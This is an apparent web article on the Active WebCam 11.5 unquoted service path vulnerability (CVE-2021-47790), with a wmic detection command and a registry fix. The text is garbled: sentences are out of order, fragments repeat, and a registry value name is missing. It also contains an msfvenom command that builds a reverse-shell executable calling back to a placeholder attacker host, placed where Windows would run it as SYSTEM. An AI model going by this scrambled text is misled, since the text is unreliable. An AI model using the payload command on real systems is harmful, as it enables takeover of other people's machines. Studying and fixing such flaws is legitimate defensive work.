The phrase summarises a journey from discovery to remediation. CVE‑2021‑47790 is a classic, yet dangerous, unquoted service path vulnerability that, if left unpatched, can grant an attacker full SYSTEM‑level access to a Windows machine. The vulnerability is trivial to exploit, requiring only local access and the ability to write a small executable to a directory that Windows will search before the intended binary.
Upon a system reboot (or a service restart triggered by the attacker in another way), the Windows Service Control Manager will traverse the unquoted path. When it reaches the location where the attacker has placed the malicious executable, it will launch that code instead of the legitimate WebCam.exe ——all under the context of the LocalSystem account. The attacker now has complete, undetectable control of the operating system.
Active WebCam 11.5, a legacy software utility designed for capturing, streaming, and monitoring surveillance feeds, suffers from this exact configuration oversight. CVE-2021-47790 Detail - NVD
To resolve this security risk on your machine, you must manually edit the service configuration in the Windows Registry. Step 1: Identify the Vulnerable Service active webcam 115 unquoted service path patched
Navigate to the following key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACTIVEWEBCAM . In the right pane, double-click on . Modify the value to include double quotes around the path: Original: C:\Program Files\Active WebCam\WebCam.exe Patched: "C:\Program Files\Active WebCam\WebCam.exe" . Click OK and restart your computer to apply the changes. Verification & Remediation
C:\Program Files\Active WebCam\WebCam.exe
The value should be of type REG_EXPAND_SZ or REG_SZ with quotes. The phrase summarises a journey from discovery to
Because there are no quotes, the Windows Service Control Manager (SCM) will attempt to locate and execute files in the following order until it finds a match: C:\Program.exe (with Files\Active as an argument)
To determine if your Active Webcam 115 installation is vulnerable, you need to check the service configuration. Method 1: Using Command Prompt (wmic)
– e.g., Program.exe using msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f exe -o C:\Program.exe Upon a system reboot (or a service restart
wmic service get name,displayname,pathname,startmode | findstr /i "Active Webcam" Use code with caution.
Before examining the specific flaw in Active WebCam, it is essential to understand the underlying mechanism of unquoted service path vulnerabilities.